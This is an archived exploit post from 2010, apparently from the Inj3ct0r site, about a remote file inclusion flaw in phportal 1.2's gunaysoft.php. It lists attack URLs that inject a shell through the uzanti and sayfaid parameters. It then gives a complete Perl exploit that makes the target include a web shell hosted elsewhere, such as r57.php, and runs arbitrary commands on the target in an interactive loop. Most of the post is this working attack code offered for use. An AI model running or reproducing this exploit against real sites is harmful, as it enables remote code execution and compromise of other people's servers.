Home / os / win7

phportal_1.2 (gunaysoft.php) Remote File Include Vulnerabili

Posted on 24 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>phportal_1.2 (gunaysoft.php) Remote File Include Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==============================================================
phportal_1.2 (gunaysoft.php) Remote File Include Vulnerability
==============================================================


# Tilte: phportal_1.2 (gunaysoft.php) Remote File Include Vulnerability
 
# Author..................: [Ma3sTr0-Dz]
# Location ...............: [ALGERIA]
# Software ...............: [phportal_1.2]
# Impact..................: [Remote]
# Advisory ...............: [exploit-db.com]
# Site Software ..........: [http://sourceforge.net/project/showfiles.php?group_id=205263]
# Sptnx ..................: [Www.Sec4ever.Com Work Group &amp; Members .]
 
 
# Vulnerability: Remote File Inclusion Vulnerability
 
 
 
# Part Expl0it &amp; Bug Codes :
 
---
 
http://www.site.com/sablonlar/gunaysoft/gunaysoft.php?uzanti=[shell]
http://www.site.com/sablonlar/gunaysoft/gunaysoft.php?sayfaid=[shell]
http://www.site.com/sablonlar/gunaysoft/gunaysoft.php?uzanti=[shell]
 
---
 
Exploit Perl :
 
---
 
#!/usr/bin/perl
 
use LWP::UserAgent;
use LWP::Simple;
 
$target = @ARGV[0];
$shellsite = @ARGV[1];
$shellcmd = @ARGV[2];
$file = &quot;sablonlar/gunaysoft/gunaysoft.php?uzanti=&quot;;
 
if(!$target || !$shellsite)
{
usage();
}
 
header();
 
print &quot;Type 'exit' to quit&quot;;
print &quot;[cmd]$&quot;;
$cmd = &lt;STDIN&gt;;
 
while ($cmd !~ &quot;exit&quot;)
{
$xpl = LWP::UserAgent-&gt;new() or die;
$req = HTTP::Request-&gt;new(GET=&gt;$target.$file.$shellsite.'?&amp;'.$shellcmd.'='.$cmd) or die(&quot;

 Failed to connect.&quot;);
$res = $xpl-&gt;request($req);
$r = $res-&gt;content;
$r =~ tr/[
]/[?]/;
 
if (@ARGV[4] eq &quot;-r&quot;)
{
print $r;
}
elsif (@ARGV[5] eq &quot;-p&quot;)
{
# if not working change cmd variable to null and apply patch manually.
$cmd = &quot;echo if(basename(__FILE__) == basename($_SERVER['PHP_SELF'])) die(); &gt;&gt; list_last.inc&quot;;
print q
{
 
}
}
else
{
print &quot;[cmd]$&quot;;
$cmd = &lt;STDIN&gt;;
}
}
 
sub header()
{
print q
{
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 
Discovered by : Ma3sTr0-Dz
phportal.pl - Remote File Include Exploit
 
o5m@hotmail.de
sp TANX2: Www.Sec4ever.Com/home/ &amp; Cmos_CLR
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
};
}
 
sub usage()
{
header();
print q
{
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Usage:
perl phportal.pl &lt;Target website&gt; &lt;Shell Location&gt; &lt;CMD Variable&gt; &lt;-r&gt; &lt;-p&gt;
&lt;Target Website&gt; - Path to target eg: www.victim.com
&lt;Shell Location&gt; - Path to shell eg: http://site.com/r57.txt?
&lt;CMD Variable&gt; - Shell command variable name eg: Pwd
&lt;r&gt; - Show output from shell
&lt;p&gt; - sablonlar/gunaysoft/gunaysoft.php
Example:
perl phportal.pl http://localhost/include http://localhost/r57.php cmd -r -p
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
};
exit();
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-24]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :